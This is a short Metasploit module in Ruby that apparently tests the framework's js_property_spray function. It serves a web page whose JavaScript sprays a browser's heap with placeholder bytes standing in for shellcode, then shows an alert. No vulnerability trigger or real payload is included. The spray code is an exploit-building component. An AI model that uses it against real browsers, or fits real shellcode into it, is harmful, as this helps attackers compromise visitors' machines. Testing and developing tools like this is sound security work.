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A test case for Metasploit's heap spraying function: js_property_spray
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require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = NormalRanking | |
include Msf::Exploit::Remote::HttpServer::HTML | |
def initialize(info={}) | |
super(update_info(info, | |
'Name' => "Heap Spray Test Case", | |
'Description' => %q{ Heap Spray Test Case }, | |
'License' => MSF_LICENSE, | |
'Author' => [ 'sinn3r' ], | |
'References' => [ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog' ] ], | |
'Platform' => 'win', | |
'Targets' => [ [ 'Automatic', {} ] ], | |
'Privileged' => false, | |
'DisclosureDate' => "Mar 03 2013", | |
'DefaultTarget' => 0)) | |
end | |
def load_spray_html(cli, req) | |
spray = js_property_spray | |
html = %Q| | |
<html> | |
<head></head> | |
<body> | |
<script> | |
#{spray} | |
var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); | |
sprayHeap({shellcode:s}); | |
alert("done"); | |
</script> | |
</body> | |
</html> | |
| | |
return html | |
end | |
def on_request_uri(cli, request) | |
html = load_spray_html(cli, request) | |
html = html.gsub(/^\t\t/, '') | |
print_status("Sending HTML...") | |
send_response(cli, html, {'Content-Type'=>'text/html'}) | |
end | |
end |
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